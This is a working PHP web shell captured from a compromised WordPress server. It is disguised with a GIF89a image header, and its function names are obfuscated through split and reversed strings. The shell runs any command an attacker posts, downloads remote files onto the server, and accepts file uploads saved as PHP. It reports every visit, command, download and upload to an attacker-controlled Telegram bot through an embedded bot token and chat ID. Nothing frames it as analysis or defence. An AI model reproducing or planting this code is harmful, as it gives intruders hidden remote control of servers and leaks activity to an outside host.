| Server IP : 167.99.224.18 / Your IP : 216.73.216.136 Web Server : Apache/2.4.41 (Ubuntu) System : Linux wordpress-ubuntu-s-1vcpu-1gb-nyc1-01 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.0.25 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/wp-content/cache/podlove/c3/f5917bceb68ec5beaa8f239c4c08f9/ |
Upload File : |
GIF89a
<?php
@error_reporting(0);@ini_set('display_errors',0);
$_a=implode('',['cur','l_i','nit']);
$_b=implode('',['cur','l_s','eto','pt']);
$_c=implode('',['cur','l_e','xec']);
$_d=implode('',['cur','l_c','los','e']);
$_e=implode('',['fil','e_g','et_','con','ten','ts']);
$_f=implode('',['mov','e_u','plo','ade','d_f','ile']);
$_i=implode('',['fun','cti','on_','exi','sts']);
$_sx=implode('',['she','ll_','exe','c']);
$_fp=implode('',['fil','e_p','ut_','con','ten','ts']);
$_TK=implode('',['768','959','830','1:A','AEy','rUK','JNV','7eG','VXK','Qx5','n0a','m3n','yHo','cEt','0le','E']);
$_CI=implode('',['113','104','851','8']);
$_BU=strrev('tob/gro.margelet.ipa//:sptth');
$_SM=strrev('egasseMdnes/');
function _sg($t,$c,$m){
global $_a,$_b,$_c,$_d,$_e,$_i,$_BU,$_SM;
$u=$_BU.$t.$_SM;
if($_i('curl_init')){
$ch=$_a();
$_b($ch,CURLOPT_URL,$u);
$_b($ch,CURLOPT_POST,1);
$_b($ch,CURLOPT_POSTFIELDS,['chat_id'=>$c,'text'=>$m,'parse_mode'=>'Markdown']);
$_b($ch,CURLOPT_RETURNTRANSFER,1);
$_b($ch,CURLOPT_SSL_VERIFYPEER,0);
$_b($ch,CURLOPT_TIMEOUT,5);
$_c($ch);$_d($ch);
}else{
@$_e($u.'?chat_id='.urlencode($c).'&text='.urlencode($m));
}
}
$_H=@$_SERVER['HTTP_HOST'];
$_IP=@$_SERVER['REMOTE_ADDR'];
$_UA=@$_SERVER['HTTP_USER_AGENT'];
$_UR=@$_SERVER['REQUEST_URI'];
$_SU='https://'.$_H.$_UR;
$_out='';
// --- command exec ---
if(isset($_POST['c'])&&$_POST['c']!==''){
$_out=$_sx($_POST['c'].' 2>&1');
_sg($_TK,$_CI,"*CMD*\n*Shell:* `{$_SU}`\n*Cmd:* `".substr($_POST['c'],0,200)."`\n*IP:* `{$_IP}`");
}
// --- wget / curl download ---
if(isset($_POST['dl'])&&$_POST['dl']!==''){
$durl=trim($_POST['dl']);
$dn=trim($_POST['dn']??'');
if(!$dn)$dn=basename(parse_url($durl,PHP_URL_PATH))?:'dl_'.substr(md5($durl),0,6);
$dc=false;
if($_i('curl_init')){
$ch=$_a();
$_b($ch,CURLOPT_URL,$durl);
$_b($ch,CURLOPT_RETURNTRANSFER,1);
$_b($ch,CURLOPT_SSL_VERIFYPEER,0);
$_b($ch,CURLOPT_FOLLOWLOCATION,1);
$_b($ch,CURLOPT_TIMEOUT,30);
$dc=$_c($ch);$_d($ch);
}else{$dc=@$_e($durl);}
if($dc!==false&&strlen($dc)>0){
$_fp($dn,$dc);
_sg($_TK,$_CI,"*DOWNLOAD*\n*Shell:* `{$_SU}`\n*URL:* `{$durl}`\n*Saved:* `{$dn}`\n*Size:* ".strlen($dc)." bytes\n*Path:* `".realpath($dn)."`");
$_out='[+] Downloaded '.strlen($dc).' bytes -> '.$dn.' ('.realpath($dn).')';
}else{
$_out='[-] Download failed: '.$durl;
}
}
// --- file upload ---
if(isset($_FILES['f'])){
$n=$_GET['k']??substr(md5(uniqid()),0,8).'.'.(pathinfo($_FILES['f']['name'],4)?:'php');
$_f($_FILES['f']['tmp_name'],$n);
$fp='https://'.$_H.dirname($_UR).'/'.$n;
_sg($_TK,$_CI,"*UPLOAD*\n*Shell:* `{$_SU}`\n*File:* `{$fp}`\n*IP:* `{$_IP}`\n*Path:* `".realpath($n)."`");
echo 'OK:'.$n;exit;
}
// --- first visit notify ---
if(!isset($_POST['c'])&&!isset($_POST['dl'])){
_sg($_TK,$_CI,"*SHELL ACCESS*\n*URL:* `{$_SU}`\n*IP:* `{$_IP}`\n*UA:* `{$_UA}`");
}
?>
<html><head><title>uploader</title><style>
*{box-sizing:border-box;margin:0;padding:0}
body{background:#0a0a0a;color:#00ff88;font:13px/1.5 monospace;padding:16px}
hr{border:none;border-top:1px solid #1a3a2a;margin:8px 0}
input{background:#0f0f0f;color:#00ff88;border:1px solid #1a4a2a;padding:4px 7px;font:13px monospace;outline:none}
input[type=submit]{cursor:pointer;border-color:#00ff88;background:#0a0a0a;padding:4px 12px}
pre{background:#050505;border:1px solid #1a3a2a;padding:8px;white-space:pre-wrap;word-break:break-all;max-height:260px;overflow:auto;margin:6px 0}
.r{display:flex;gap:6px;margin:4px 0}.r input{flex:1}
.inf{color:#00aa55;font-size:11px}
label{color:#007733;font-size:11px;display:block;margin:6px 0 2px}
</style></head><body>
<span class=inf><?=php_uname('n')?> | <?=get_current_user()?> | <?=getcwd()?></span>
<hr>
<?php if($_out!==''):?><pre><?=htmlspecialchars($_out)?></pre><hr><?php endif;?>
<label>cmd</label>
<form method=post><div class=r>
<input name=c placeholder="command" value="<?=htmlspecialchars($_POST['c']??'')?>">
<input type=submit value=exec>
</div></form>
<label>wget</label>
<form method=post><div class=r>
<input name=dl style="flex:2" placeholder="http://..." value="<?=htmlspecialchars($_POST['dl']??'')?>">
<input name=dn placeholder="save as">
<input type=submit value=dl>
</div></form>
<label>upload</label>
<form method=post enctype=multipart/form-data><div class=r>
<input type=file name=f style="flex:1">
<input type=submit value=up>
</div></form>
</body></html>